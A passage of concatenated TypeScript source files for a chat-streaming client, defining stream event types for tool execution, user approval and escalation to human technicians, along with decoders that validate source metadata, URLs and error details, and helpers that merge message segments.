ChatStreamEventBase {\n  type: 'status';\n  phase: 'thinking';\n}\n\n/** NATS tool execution progress (EXECUTING_TOOL / EXECUTED_TOOL). */\nexport interface ToolExecutionEvent extends ChatStreamEventBase {\n  type: 'tool-execution';\n  data: {\n    type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL';\n    integratedToolType: string;\n    toolFunction: string;\n    toolTitle?: string;\n    /**\n     * Human-readable \"why this tool is running\" line, rendered as the body of\n     * the tool card. Carried by the EXECUTING chunk ONLY — the EXECUTED one\n     * never repeats it, and the accumulator's merge keeps whatever the\n     * EXECUTING segment held (`toolData.toolExplanation ?? existing`). Omitting\n     * it from this contract blanks the card for the whole run, live and on\n     * replay, which is exactly what happened while it was missing here.\n     */\n    toolExplanation?: string;\n    parameters?: Record<string, unknown>;\n    result?: string;\n    success?: boolean;\n    toolExecutionRequestId?: string;\n  };\n}\n\n/** Single tool call inside a batch approval request (NATS). */\nexport interface ApprovalToolCall {\n  toolExecutionRequestId: string;\n  toolName: string;\n  toolTitle?: string;\n  toolExplanation?: string;\n  toolType?: string;\n  requiresApproval: boolean;\n  approvalType?: string | null;\n  toolCallArguments?: Record<string, unknown> | null;\n}\n\n/** A tool call awaits user approval. SSE fills `command`/`fields`\n *  (card-ready payload); NATS fills `command`/`explanation` or\n *  `toolCalls` (batch form). */\nexport interface ApprovalRequestEvent extends ChatStreamEventBase {\n  type: 'approval-request';\n  requestId: string;\n  /** SSE: the write tool's name. NATS: approval tier (USER/ADMIN/…). */\n  approvalType?: string;\n  command?: string;\n  explanation?: string;\n  fields?: ApprovalRequestField[];\n  toolCalls?: ApprovalToolCall[];\n  status?: 'pending';\n}\n\n/** An approval request was resolved (SSE `decision_resolved` frame /\n *  NATS APPROVAL_RESULT chunk). */\nexport interface ApprovalResolvedEvent extends ChatStreamEventBase {\n  type: 'approval-resolved';\n  requestId?: string;\n  status: 'approved' | 'rejected';\n  ok?: boolean;\n  toolName?: string;\n  approvalType?: string;\n  resolvedByName?: string | null;\n  receiptText?: string;\n  result?: DecisionResolvedFrame['result'];\n  willAutoContinue?: boolean;\n}\n\n/** The client is offered a handoff of this ticket to a human technician\n *  (NATS `ESCALATION_OFFER` chunk in state PENDING). Distinct from\n *  `approval-request`: it resolves through the ticket-escalation mutations,\n *  never the tool-approval flow, and it is raised by four different origins\n *  (Fae's own tool call, the client's header button, a deterministic\n *  trigger, or a deferred surfacing at turn end) that all render alike. */\nexport interface EscalationOfferEvent extends ChatStreamEventBase {\n  type: 'escalation-offer';\n  offerId: string;\n  text: string;\n  origin?: string;\n}\n\n/** Wire vocabulary of `EscalationOfferData.state`. */\nexport const ESCALATION_STATE = {\n  PENDING: 'PENDING',\n  APPROVED: 'APPROVED',\n  DECLINED: 'DECLINED',\n  SUPERSEDED: 'SUPERSEDED',\n} as const;\n\n/** Terminal wire state → the shared `ChatApprovalStatus` vocabulary; `null`\n *  for PENDING or anything unrecognized. Shared by BOTH decoders (live\n *  chunks and persisted rows) so a state can never mean two things. */\nexport function escalationResolvedStatus(state: unknown): EscalationOfferResolvedEvent['status'] | null {\n  switch (state) {\n    case ESCALATION_STATE.APPROVED:\n      return 'approved';\n    case ESCALATION_STATE.DECLINED:\n      return 'rejected';\n    case ESCALATION_STATE.SUPERSEDED:\n      return 'cancelled';\n    default:\n      return null;\n  }\n}\n\n/** An escalation offer reached a terminal state. The wire's SUPERSEDED\n *  (the client typed over a pending offer) maps onto `cancelled` so the\n *  whole stack keeps ONE status vocabulary (`ChatApprovalStatus`). The\n *  resolved chunk carries no text — consumers flip the existing block. */\nexport interface EscalationOfferResolvedEvent extends ChatStreamEventBase {\n  type: 'escalation-offer-resolved';\n  offerId: string;\n  status: 'approved' | 'rejected' | 'cancelled';\n  resolvedByName?: string | null;\n}\n\n/** The conversation was handed off to a human technician (`TICKET_ESCALATED`).\n *  A first-class block rather than something inferred from an offer's state,\n *  so paths that raise no offer at all — the inactivity auto-escalation — still\n *  produce a receipt. `text` is nullable on the wire; consumers supply the\n *  fallback copy. */\nexport interface TicketEscalatedEvent extends ChatStreamEventBase {\n  type: 'ticket-escalated';\n  ticketId: string;\n  ticketNumber?: number;\n  reason: string;\n  text?: string;\n}\n\n/** Ticket lifecycle receipt (`TICKET_EVENT`) — the ticket was resolved,\n *  reopened, etc. `kind` is an OPEN vocabulary (RESOLVED/REOPENED today):\n *  an unknown kind still decodes and renders as a neutral line rather than\n *  being dropped, so the backend can add kinds without a client release.\n *  Arrives standalone (outside MESSAGE_START/END), like `ticket-escalated`. */\nexport interface TicketEventEvent extends ChatStreamEventBase {\n  type: 'ticket-event';\n  kind: string;\n  actorId?: string;\n  actorName?: string;\n  /** Who acted — e.g. an AI agent vs a human technician. Open string. */\n  actorType?: string;\n  reason?: string;\n  /** Kind-token the ticket reopened INTO (AI_ASSISTANCE / TECH_REQUIRED / ...). */\n  targetStatusKind?: string;\n}\n\n/**\n * Per-answer source metadata — the documents an answer cited, plus the video\n * and entity-card references its `[card://type:id]` markers expand with.\n *\n * Unlike `ChatMetadataEvent`, this one is DECODED, not passthrough: the payload\n * comes from a remote MCP server's tool output rather than from our own\n * backend's frame, so it is validated at the protocol boundary (see\n * `source-metadata.ts`) and never reaches a consumer half-checked.\n *\n * Both fields are optional and never both absent — the decoder returns `null`\n * instead of emitting an empty event, so applying one can't blank metadata an\n * earlier chunk of the same turn already supplied.\n */\nexport interface SourcesEvent extends ChatStreamEventBase {\n  type: 'sources';\n  sources?: ChatSource[];\n  refs?: ChatRef[];\n}\n\n/** Per-turn metadata. Raw wire values pass through UNVALIDATED — the\n *  consumer replicates the legacy truthiness/typeof gates (so a\n *  malformed frame degrades identically to the pre-SSOT parser). */\nexport interface ChatMetadataEvent extends ChatStreamEventBase {\n  type: 'metadata';\n  provider?: string | null;\n  modelLabel?: string | null;\n  /** Raw model id (SSE `meta.model`; NATS `modelName`). */\n  modelName?: string | null;\n  contextWindowMaxTokens?: number | null;\n  sources?: unknown;\n  scrollAnchor?: unknown;\n  /** Server-minted conversation id (`ChatMetadataFrame.conversationId`),\n   *  passed through raw like every other catch-all field — the consumer\n   *  applies the `typeof === 'string' && truthy` gate. */\n  conversationId?: string | null;\n  routing?: {\n    routedComplexity: string;\n    routedModel?: string;\n    routedThinkingBudget: number | null;\n  };\n}\n\n/** SSE usage frames — raw wire keys (snake_case) preserved. */\nexport interface UsageEvent extends ChatStreamEventBase {\n  type: 'usage';\n  stage: 'start' | 'end';\n  input_tokens?: number;\n  output_tokens?: number;\n  cache_read_input_tokens?: number;\n  cache_creation_input_tokens?: number;\n  hit_rate_pct?: number;\n  telemetry?: UsageTelemetry;\n  /** Left OPAQUE on purpose: the consumer (`chat-stream-reducer`'s\n   *  `applySseUsage`) re-validates every nested field with the legacy\n   *  truthiness/typeof gates, so a malformed frame degrades identically\n   *  to the pre-SSOT parser. Typing it would imply guarantees the wire\n   *  does not make. */\n  breakdown?: unknown;\n  debug?: unknown;\n}\n\n/** NATS TOKEN_USAGE chunk (camelCase backend shape). */\nexport interface TokenUsageEvent extends ChatStreamEventBase {\n  type: 'token-usage';\n  inputTokensSize: number;\n  outputTokensSize: number;\n  totalTokensSize: number;\n  contextSize: number;\n}\n\nexport interface CompactionEvent extends ChatStreamEventBase {\n  type: 'compaction';\n  phase: 'start' | 'end';\n  summary?: string;\n}\n\nexport interface ErrorEvent extends ChatStreamEventBase {\n  type: 'error';\n  title: string;\n  details?: string;\n}\n\n/**\n * Decode {@link ErrorEvent.details} into the sub-line an error card renders.\n *\n * `details` is EITHER a JSON envelope (`{ error: { message } }`) or an already-\n * human string, and both the live reducer and the history replay have to agree\n * on which — a card that reads one way live and another on refresh is the whole\n * class of bug this module's shared decoders exist to prevent. Lives here,\n * beside the event it decodes, because it is the wire contract, not a rendering\n * choice.\n *\n * Gates:\n *   - not JSON            → the raw string (it was already human-readable)\n *   - JSON, string message → that message\n *   - JSON, anything else  → `undefined`, so the card shows its title alone\n *\n * That last gate is the fix for a real defect: the message was previously\n * copied out of the envelope UNCHECKED, so a server that nested an object\n * under `error.message` put that object into a `string` field and the card\n * rendered the literal text \"[object Object]\" under the title. Valid JSON that\n * simply lacks `error.message` still yields `undefined` (unchanged) rather than\n * dumping the raw envelope at the user.\n */\nexport function errorDetailsMessage(details: string | undefined): string | undefined {\n  if (!details) return undefined;\n  let parsed: unknown;\n  try {\n    parsed = JSON.parse(details);\n  } catch {\n    return details;\n  }\n  if (typeof parsed !== 'object' || parsed === null) return undefined;\n  const error: unknown = (parsed as { error?: unknown }).error;\n  if (typeof error !== 'object' || error === null) return undefined;\n  const message: unknown = (error as { message?: unknown }).message;\n  return typeof message === 'string' ? message : undefined;\n}\n\n/** Non-assistant message on the stream (NATS): the user's own message\n *  echo (`message-request`), an operator direct message, or a system\n *  line. */\n/**\n * Dialog participant owner type. The two members below are the ones clients\n * BRANCH ON (admin-vs-not decides echo dedup and author styling); the union\n * stays open (`string & {}`) because the wire may carry other roles that the\n * client treats as \"not admin\". Always compare against `CHAT_OWNER_ADMIN`,\n * never a bare `'ADMIN'` literal — a typo in a literal silently disables\n * dedup instead of failing to compile.\n */\nexport type ChatOwnerType = 'ADMIN' | 'CLIENT' | (string & {});\n\n/** Canonical ADMIN owner-type token (see `ChatOwnerType`). */\nexport const CHAT_OWNER_ADMIN = 'ADMIN';\n\nexport interface ParticipantEvent extends ChatStreamEventBase {\n  type: 'participant';\n  kind: 'message-request' | 'direct-message' | 'system';\n  text: string;\n  ownerType?: ChatOwnerType;\n  displayName?: string;\n  userId?: string;\n  contextItems?: Array<{ type: string; id: string; label: string }>;\n}\n\nexport interface DialogClosedEvent extends ChatStreamEventBase {\n  type: 'dialog-closed';\n}\n\nexport type ChatStreamEvent =\n  | TurnStartEvent\n  | TurnEndEvent\n  | TextDeltaEvent\n  | ThinkingDeltaEvent\n  | AskEvent\n  | StatusEvent\n  | ToolExecutionEvent\n  | ApprovalRequestEvent\n  | ApprovalResolvedEvent\n  | EscalationOfferEvent\n  | EscalationOfferResolvedEvent\n  | TicketEscalatedEvent\n  | TicketEventEvent\n  | ChatMetadataEvent\n  | SourcesEvent\n  | UsageEvent\n  | TokenUsageEvent\n  | CompactionEvent\n  | ErrorEvent\n  | ParticipantEvent\n  | DialogClosedEvent;\n","/**\n * Narrowing primitives for untrusted hub JSON — ONE owner, shared by every\n * client that talks to a hub route (`use-chat-history-hydration`, the\n * conversation-list client, the NATS decoder).\n *\n * `unwrapEnvelope` encodes the response contract in one place. The hub's\n * route-base `successResponse` is `NextResponse.json(data)` — a RAW body, which\n * is the shape these clients normally see. The `{ data }` branch is defensive,\n * for an embedder or gateway that proxies our routes inside an envelope of its\n * own; it is not the hub's shape. (A payload whose own top-level key is `data`\n * would be unwrapped by mistake — none of ours has one.)\n */\n\n/** `typeof null === 'object'`, so the null check is the whole point. */\nexport function isRecord(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null;\n}\n\n/** route-base `{ data }` envelope, with a raw-body fallback. */\nexport function unwrapEnvelope(payload: unknown): unknown {\n  return isRecord(payload) && 'data' in payload ? payload.data : payload;\n}\n","/**\n * Source-metadata payload → `{ sources, refs }`.\n *\n * ONE decoder for two arrival paths: the live `GUIDE`/`SOURCES` NATS chunk and\n * the persisted row of the same name in dialog history. That is the whole point\n * of putting it here rather than in either consumer — a reloaded thread has to\n * render identically to the live turn, and two parsers is exactly how that stops\n * being true.\n *\n * Everything is validated, and anything that fails is DROPPED rather than\n * repaired: this payload is assembled from a remote MCP server's tool output,\n * so a malformed row means an upstream contract slip, and rendering a chip with\n * a blank title or a link to a non-https URL is worse than rendering nothing.\n *\n * Server-safe: no React, no browser APIs beyond `URL`.\n */\n\nimport type { ChatRef } from '../components/chat/chat-ref.types';\nimport type { ChatSource } from '../components/chat/types/message.types';\nimport { CARD_REFERENCE } from './card-marker';\nimport type { SourcesEvent } from './events';\nimport { isRecord } from './wire-narrow';\n\n/** YouTube ids are exactly 11 chars of the URL-safe alphabet. */\nconst YOUTUBE_ID = /^[A-Za-z0-9_-]{11}$/;\n\n/** Video URL fields carried through verbatim, once validated as https. */\nconst VIDEO_URL_KEYS = ['videoUrl', 'highlightVideoUrl', 'videoPoster', 'highlightVideoPoster'] as const;\n\nfunction text(value: unknown): string | undefined {\n  if (typeof value !== 'string') return undefined;\n  const trimmed = value.trim();\n  return trimmed || undefined;\n}\n\n/**\n * `null` survives, anything non-string becomes `undefined`.\n *\n * The distinction is load-bearing for `targetPlatform` and `path`, where the\n * backend uses an explicit `null` to mean \"this row has no destination\" — which\n * downstream navigation treats differently from \"the field was not sent\".\n */\nfunction nullableText(value: unknown): string | null | undefined {\n  return value === null ? null : text(value);\n}\n\n/** An https URL, or nothing. Plain http and non-URLs are dropped — these become\n *  hrefs and video sources in the panel. */\nfunction httpsUrl(value: unknown): string | undefined {\n  const candidate = text(value);\n  if (!candidate) return undefined;\n  try {\n    return new URL(candidate).protocol === 'https:' ? candidate : undefined;\n  } catch {\n    return undefined;\n  }\n}\n\n/**\n * A YouTube video id, from either a bare id or any of the watch/short/embed URL\n * shapes. Returns the ID, never a URL — the player takes an id.\n */\nexport function youtubeVideoId(value: unknown): string | undefined {\n  const candidate = text(value);\n  if (!candidate) return undefined;\n  if (YOUTUBE_ID.test(candidate)) return candidate;\n\n  const url = httpsUrl(candidate);\n  if (!url) return undefined;\n  const parsed = new URL(url);\n  const hostname = parsed.hostname.toLowerCase();\n  const isYoutubeHost = hostname === 'youtu.be' || hostname === 'youtube.com' || hostname.endsWith('.youtube.com');\n  if (!isYoutubeHost) return undefined;\n\n  const fromPath =\n    hostname === 'youtu.be'\n      ? parsed.pathname.split('/').filter(Boolean)[0]\n      : /^\\/(?:embed|v|shorts)\\/([A-Za-z0-9_-]{11})(?:\\/|$)/.exec(parsed.pathname)?.[1];\n  const id = fromPath ?? parsed.searchParams.get('v') ?? undefined;\n  return id && YOUTUBE_ID.test(id) ? id : undefined;\n}\n\nfunction sourceItems(value: unknown): NonNullable<ChatSource['items']> | undefined {\n  if (!Array.isArray(value)) return undefined;\n  const items = value.filter(isRecord).flatMap(item => {\n    const id = text(item.id);\n    const documentType = text(item.documentType);\n    const name = text(item.name);\n    // A grouped row without these three has nothing to render OR navigate with.\n    if (!id || !documentType || !name) return [];\n\n    const externalUrl = httpsUrl(item.externalUrl);\n    const targetPlatform = nullableText(item.targetPlatform);\n    const path = nullableText(item.path);\n    return [\n      {\n        id,\n        documentType,\n        name,\n        ...(externalUrl ? { externalUrl } : {}),\n        ...(targetPlatform !== undefined ? { targetPlatform } : {}),\n        ...(path !== undefined ? { path } : {}),\n      },\n    ];\n  });\n  return items.length > 0 ? items : undefined;\n}\n\n/**\n * Cited documents, keyed by their citation number.\n *\n * `index` and `name` are required because they ARE the chip: the number the\n * answer's `[1]` refers to, and the text on it. `path` is NOT required — it is\n * one of several ways a chip resolves a destination (an `externalUrl` or a\n * grouped item can carry it instead), and a source is still worth showing when\n * it has none.\n *\n * A duplicate `index` keeps the first occurrence: two chips answering to the\n * same `[1]` is not a state the strip can render meaningfully.\n */\nfunction sources(value: unknown): ChatSource[] {\n  if (!Array.isArray(value)) return [];\n  const claimed = new Set<number>();\n  const decoded: ChatSource[] = [];\n\n  for (const candidate of value) {\n    if (!isRecord(candidate)) continue;\n    const index = candidate.index;\n    const name = text(candidate.name);\n    const isUsableIndex = typeof index === 'number' && Number.isInteger(index) && index > 0 && !claimed.has(index);\n    if (!isUsableIndex || !name) continue;\n    claimed.add(index);\n\n    const path = text(candidate.path);\n    const documentType = text(candidate.documentType);\n    const externalUrl = httpsUrl(candidate.externalUrl);\n    const targetPlatform = nullableText(candidate.targetPlatform);\n    const id = text(candidate.id);\n    const sourceRepo = text(candidate.sourceRepo);\n    const label = text(candidate.label);\n    const items = sourceItems(candidate.items);\n\n    decoded.push({\n      index,\n      name,\n      // Both are typed non-optional on `ChatSource` and predate this decoder;\n      // '' is the established \"no value\" for them across the SSE path.\n      path: path ?? '',\n      documentType: documentType ?? '',\n      ...(externalUrl ? { externalUrl } : {}),\n      ...(targetPlatform !== undefined ? { targetPlatform } : {}),\n      ...(id ? { id } : {}),\n      ...(sourceRepo ? { sourceRepo } : {}),\n      ...(label ? { label } : {}),\n      ...(items ? { items } : {}),\n    });\n  }\n  return decoded;\n}\n\n/**\n * Player metadata for a video ref, in the key vocabulary the card dispatcher\n * already reads (`itemVideoMetadata` / `decodeVideoMarkerId` in\n * `entity-cards/dispatch.tsx`).\n *\n * `youtubeUrl` holds a bare video ID, not a URL. The name is inaccurate and\n * predates this decoder — but it is the established key on both the producing\n * and the consuming side, and a more honest name here would simply be a field\n * nothing reads. Renaming it is a separate change that has to move both ends at\n * once.\n *\n * `videoUrl` and `youtubeUrl` stay mutually exclusive: they select different\n * players (a `<video>`/HLS source vs an embed facade), so carrying both would\n * make the renderer guess.\n */\nfunction videoMetadata(value: unknown, url: string | null): Record<string, string> {\n  const metadata: Record<string, string> = {};\n  if (isRecord(value)) {\n    for (const key of VIDEO_URL_KEYS) {\n      const validated = httpsUrl(value[key]);\n      if (validated) metadata[key] = validated;\n    }\n    const declaredId = youtubeVideoId(value.youtubeUrl);\n    if (declaredId) metadata.youtubeUrl = declaredId;\n  }\n\n  // The top-level `url` is the authority when present: it is what the backend\n  // resolved for THIS video, while `metadata` is passthrough from the row.\n  if (url) {\n    const idFromUrl = youtubeVideoId(url);\n    if (idFromUrl) {\n      metadata.youtubeUrl = idFromUrl;\n      delete metadata.videoUrl;\n    } else {\n      metadata.videoUrl = url;\n      delete metadata.youtubeUrl;\n    }\n  }\n  return metadata;\n}\n\n/** Video references. `ref` must parse AND be of type `video` — a mistyped row\n *  would otherwise render through the entity-card path with no player. */\nfunction videos(value: unknown): ChatRef[] {\n  if (!Array.isArray(value)) return [];\n  return value.filter(isRecord).flatMap(video => {\n    const match = typeof video.ref === 'string' ? CARD_REFERENCE.exec(video.ref) : null;\n    if (!match || match[1] !== 'video') return [];\n\n    const id = match[2];\n    const url = httpsUrl(video.url) ?? null;\n    const sourceRepo = text(video.sourceRepo);\n    const metadata = videoMetadata(video.metadata, url);\n    return [\n      {\n        type: 'video',\n        id,\n        title: text(video.title) ?? id,\n        url,\n        ...(sourceRepo ? { sourceRepo } : {}),\n        ...(Object.keys(metadata).length > 0 ? { metadata } : {}),\n      },\n    ];\n  });\n}\n\n/**\n * Entity-card references, enriched from `sources` where the two describe the\n * same row.\n *\n * A card carries only `type` + `id` on the wire; its human title and link live\n * on the matching source. Without the match the card still renders — with its\n * id as the title, which is ugly but honest, and better than dropping a card\n * the answer text explicitly points at.\n *\n * `entityType`/`entityId` are cross-checked against the parsed `ref` because\n * they are three statements of the same fact, and a disagreement means the row\n * was assembled wrongly upstream.\n */\nfunction cards(value: unknown, decodedSources: ChatSource[]): ChatRef[] {\n  if (!Array.isArray(value)) return [];\n  return value.filter(isRecord).flatMap(card => {\n    const match = typeof card.ref === 'string' ? CARD_REFERENCE.exec(card.ref) : null;\n    // `video` is handled by `videos()`; a card claiming that type would render\n    // the wrong component.\n    if (!match || match[1] === 'video') return [];\n\n    const type = text(card.entityType);\n    const id = text(card.entityId);\n    if (!type || !id || type !== match[1] || id !== match[2]) return [];\n\n    const source = decodedSources.find(candidate => candidate.id === id && candidate.documentType === type);\n    return [\n      {\n        type,\n        id,\n        title: source?.name ?? id,\n        url: source?.externalUrl ?? null,\n        ...(source?.sourceRepo ? { sourceRepo: source.sourceRepo } : {}),\n        ...(source?.targetPlatform !== undefined ? { targetPlatform: source.targetPlatform } : {}),\n        ...(source?.path ? { metadata: { path: source.path } } : {}),\n      },\n    ];\n  });\n}\n\n/** Last `type:id` wins nothing — the FIRST occurrence is kept, so a payload that\n *  lists a card twice cannot flip which copy the body expands to. */\nfunction deduplicateRefs(refs: ChatRef[]): ChatRef[] {\n  const byIdentity = new Map<string, ChatRef>();\n  for (const ref of refs) {\n    const identity = `${ref.type}:${ref.id}`;\n    if (!byIdentity.has(identity)) byIdentity.set(identity, ref);\n  }\n  return [...byIdentity.values()];\n}\n\n/**\n * Decode one source-metadata payload into its event, or `null` when there is\n * nothing usable in it.\n *\n * Returning `null` for an empty result matters: the reducer stamps this onto a\n * message, and an event carrying two empty arrays would overwrite metadata that\n * an earlier chunk of the same turn had already supplied.\n */\nexport function sourceMetadataEvent(payload: unknown): SourcesEvent | null {\n  if (!isRecord(payload)) return null;\n\n  const decodedSources = sources(payload.sources);\n  const refs = deduplicateRefs([...videos(payload.videos), ...cards(payload.cards, decodedSources)]);\n  if (decodedSources.length === 0 && refs.length === 0) return null;\n\n  return {\n    type: 'sources',\n    ...(decodedSources.length > 0 ? { sources: decodedSources } : {}),\n    ...(refs.length > 0 ? { refs } : {}),\n  };\n}\n\n/** What one assistant answer carries: its citations and its expandable refs. */\nexport interface SourceMetadata {\n  sources?: ChatSource[];\n  refs?: ChatRef[];\n}\n\n/**\n * Fold one decoded chunk into an answer's accumulated metadata.\n *\n * A single turn can call several remote tools, each returning its own metadata,\n * so this merges rather than replaces — and it is shared by the live reducer and\n * the history replay precisely because those two must agree on what a reloaded\n * answer shows.\n *\n * First writer wins per identity (`index` for a source, `type:id` for a ref),\n * the same rule the decoder applies within one payload.\n *\n * KNOWN LIMIT: citation numbers are assigned per tool result, so two tool calls\n * in one turn can both claim `[1]`. The later source is dropped rather than\n * renumbered — by then the numbers are already written into the answer text,\n * and renumbering would point `[1]` at a document the sentence is not about.\n */\nexport function mergeSourceMetadata(previous: SourceMetadata | null, event: SourcesEvent): SourceMetadata {\n  const byIndex = new Map<number, ChatSource>();\n  for (const source of [...(previous?.sources ?? []), ...(event.sources ?? [])]) {\n    if (!byIndex.has(source.index)) byIndex.set(source.index, source);\n  }\n  const byIdentity = new Map<string, ChatRef>();\n  for (const ref of [...(previous?.refs ?? []), ...(event.refs ?? [])]) {\n    const identity = `${ref.type}:${ref.id}`;\n    if (!byIdentity.has(identity)) byIdentity.set(identity, ref);\n  }\n  return {\n    ...(byIndex.size > 0 ? { sources: [...byIndex.values()] } : {}),\n    ...(byIdentity.size > 0 ? { refs: [...byIdentity.values()] } : {}),\n  };\n}\n","/**\n * WHERE an approval card renders — the one rule, read by every path that turns\n * an approval into segments.\n *\n * There are three such paths and they must agree: the NATS kernel (live chunks),\n * the SSE kernel, and the history replay that rebuilds a dialog after a reload.\n * When the rule lived only in the live kernel, a card could render inline while\n * streaming and then move into the escalation treatment on the next page load —\n * same card, two behaviors.\n */\n\n/**\n * Does this approval render inline in its turn (true), or take the consumer's\n * escalation treatment (false)?\n *\n * A card is gated on approval TIER (`displayApprovalTypes`, the agent's own\n * privilege model). `undefined` means \"no tier gate configured\" and every\n * approval displays — the pre-existing history-replay default, preserved here\n * so both kernels can share one predicate.\n */\nexport function approvalDisplaysInline(approvalType: string, displayApprovalTypes?: readonly string[]): boolean {\n  return !displayApprovalTypes || displayApprovalTypes.includes(approvalType);\n}\n","/**\n * Pure message-mutation kernel for the master chat-stream reducer.\n *\n * These helpers were absorbed from `use-nats-chat-adapter.ts` in Phase 3 of\n * the chat unification — they are the ONE implementation of \"apply a stream\n * fragment to a message thread\". The reducer (`chat-stream-reducer.ts`) and\n * the cross-side projections (`chat-dialog-store.ts`) both build on them.\n *\n * REFERENTIAL-STABILITY CONTRACT: every helper clones ONLY the touched\n * message object (and the touched segment slot inside it). A value-level\n * no-op — e.g. a replayed duplicate EXECUTED_TOOL whose merge would write\n * identical values — returns the PRIOR references untouched, so React\n * memoization over untouched messages survives redeliveries.\n *\n * Framework-free: no React, no timers.\n */\n\nimport type {\n  ApprovalBatchExecutionState,\n  ChatApprovalStatus,\n  MessageSegment,\n  ToolExecutionSegment,\n  ToolExecutionData,\n} from '../types';\nimport type { UnifiedChatMessage } from '../types/unified-chat-state.types';\n\nexport function nextId(role: 'user' | 'assistant'): string {\n  // Date.now() + counter sliver keeps ids monotonic even when two\n  // messages are produced inside the same ms tick (user + assistant\n  // placeholder fire back-to-back from a single sendMessage call).\n  return `${role}-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`;\n}\n\n/**\n * Realtime user/direct/system chunks can be replays of rows already on\n * screen. Content-window dedup is the LAST layer (seq-less transports only)\n * — see the layer list in `chat-stream-reducer.ts`.\n */\nexport const CONTENT_DEDUP_WINDOW = 4;\nexport const SYSTEM_DEDUP_WINDOW = 10;\n\nexport function hasRecentMessage(\n  prev: UnifiedChatMessage[],\n  predicate: (message: UnifiedChatMessage) => boolean,\n  window: number,\n): boolean {\n  const start = Math.max(0, prev.length - window);\n  for (let i = prev.length - 1; i >= start; i--) {\n    if (predicate(prev[i])) return true;\n  }\n  return false;\n}\n\n/**\n * Replace (or append) the trailing assistant message with the latest\n * accumulated segments.\n */\nexport function updateTrailingAssistant(prev: UnifiedChatMessage[], segments: MessageSegment[]): UnifiedChatMessage[] {\n  const last = prev[prev.length - 1];\n  if (!last || last.role !== 'assistant') {\n    // No placeholder exists — append a fresh assistant message.\n    return [\n      ...prev,\n      {\n        id: nextId('assistant'),\n        role: 'assistant',\n        content: '',\n        segments,\n      },\n    ];\n  }\n  return [...prev.slice(0, -1), { ...last, segments }];\n}\n\n/**\n * Identity of a block that must upsert rather than stack when re-appended,\n * namespaced so two kinds can never collide. `null` for segments that coalesce\n * by adjacency (text/thinking/guide) or are pushed raw. Legacy approval cards\n * share one requestId across an unfolded batch, hence the command in the key.\n *\n * `ticket_escalated` keys on its dialog-scoped ticketId, which is safe HERE\n * (two receipts inside one trailing bubble can only be a redelivery) but is NOT\n * a turn identity — see the deliberate omissions in `turnRequestKeys` and the\n * host's thread-global dedupe.\n */\nfunction upsertKey(seg: MessageSegment): string | null {\n  switch (seg.type) {\n    case 'approval_batch':\n      return `batch:${seg.data.approvalRequestId}`;\n    case 'approval_request':\n      return `req:${seg.data.requestId}:${seg.data.command}`;\n    case 'escalation_offer':\n      return `offer:${seg.data.offerId}`;\n    case 'ticket_escalated':\n      return `escalated:${seg.data.ticketId}`;\n    case 'ticket_event':\n      // The stream sequence is the event's only stable id; a seq-less segment\n      // (a row hydrated without `lastChunkStreamSeq`) is pushed raw and joined\n      // by `seqlessTicketEventTwinIndex` when its replayed copy arrives.\n      return seg.streamSeq !== undefined ? `ticket-event:${seg.streamSeq}` : null;\n    default:\n      return null;\n  }\n}\n\n/**\n * A seq'd ticket event meeting a HYDRATED twin of itself: history stamps the\n * row's `lastChunkStreamSeq` onto the segment only for standalone rows, and\n * rows persisted before that field existed hydrate seq-less - so the\n * `ticket-event:<seq>` key alone cannot join them, and the replayed copy used\n * to render as a second identical card. Mirror of `addTicketEvent`'s payload\n * fallback: consider only the LAST ticket_event (older ones may be a genuinely\n * repeated resolve/reopen cycle) and never collapse two distinct known seqs.\n */\nfunction seqlessTicketEventTwinIndex(segments: MessageSegment[], seg: MessageSegment): number {\n  if (seg.type !== 'ticket_event') return -1;\n  for (let i = segments.length - 1; i >= 0; i--) {\n    const s = segments[i];\n    if (s.type !== 'ticket_event') continue;\n    if (\n      s.streamSeq === undefined &&\n      s.data.kind === seg.data.kind &&\n      s.data.actorId === seg.data.actorId &&\n      s.data.actorName === seg.data.actorName &&\n      s.data.actorType === seg.data.actorType &&\n      s.data.reason === seg.data.reason &&\n      s.data.targetStatusKind === seg.data.targetStatusKind\n    ) {\n      return i;\n    }\n    break;\n  }\n  return -1;\n}\n\n/**\n * First-known time wins, exactly like `addTicketEvent`: the hydrated twin\n * carries the row's real `createdAt`, while a replay only knows its (late)\n * arrival time - replacing wholesale would regress the card to arrival time.\n * Non-ticket-event upserts keep their replace-wholesale semantics.\n */\nfunction withFirstKnownOccurredAt(existing: MessageSegment, incoming: MessageSegment): MessageSegment {\n  if (existing.type !== 'ticket_event' || incoming.type !== 'ticket_event') return incoming;\n  const occurredAt = existing.occurredAt ?? incoming.occurredAt;\n  return occurredAt !== undefined ? { ...incoming, occurredAt } : incoming;\n}\n\n/**\n * Append-mode counterpart of `updateTrailingAssistant` for post-MESSAGE_END\n * continuation fragments (`SegmentsUpdateMetadata.append`). Coalesces\n * trailing fragments of the same type, mirroring the accumulator; block deltas\n * upsert by identity (see `upsertKey`) so a replayed emit stays idempotent.\n */\nexport function appendToTrailingAssistant(\n  prev: UnifiedChatMessage[],\n  segments: MessageSegment[],\n): UnifiedChatMessage[] {\n  if (segments.length === 0) return prev;\n  const last = prev[prev.length - 1];\n  if (!last || last.role !== 'assistant') {\n    return [...prev, { id: nextId('assistant'), role: 'assistant', content: '', segments }];\n  }\n  const merged = [...(last.segments ?? [])];\n  for (const seg of segments) {\n    const tail = merged[merged.length - 1];\n    const key = upsertKey(seg);\n    if (seg.type === 'text' && tail?.type === 'text') {\n      merged[merged.length - 1] = { type: 'text', text: tail.text + seg.text };\n    } else if (seg.type === 'thinking' && tail?.type === 'thinking') {\n      merged[merged.length - 1] = { type: 'thinking', text: tail.text + seg.text };\n    } else if (key) {\n      // Block deltas must be IDEMPOTENT: an emit can be seen twice (live plus\n      // the JetStream catch-up replay over hydrated history), so upsert on the\n      // block's identity instead of raw-appending a duplicate card.\n      let idx = merged.findIndex(m => upsertKey(m) === key);\n      if (idx === -1) idx = seqlessTicketEventTwinIndex(merged, seg);\n      if (idx !== -1) merged[idx] = withFirstKnownOccurredAt(merged[idx], seg);\n      else merged.push(seg);\n    } else {\n      // Other non-text segments are pushed RAW on purpose: EXECUTING↔EXECUTED\n      // pairing and batch merging are `applyToolExecutionToMessages`'s job\n      // (post-END tool chunks never reach this helper — the reducer routes\n      // them cross-message). Running the accumulator here would double-apply\n      // those rules.\n      merged.push(seg);\n    }\n  }\n  return [...prev.slice(0, -1), { ...last, segments: merged }];\n}\n\n// =============================================================================\n// 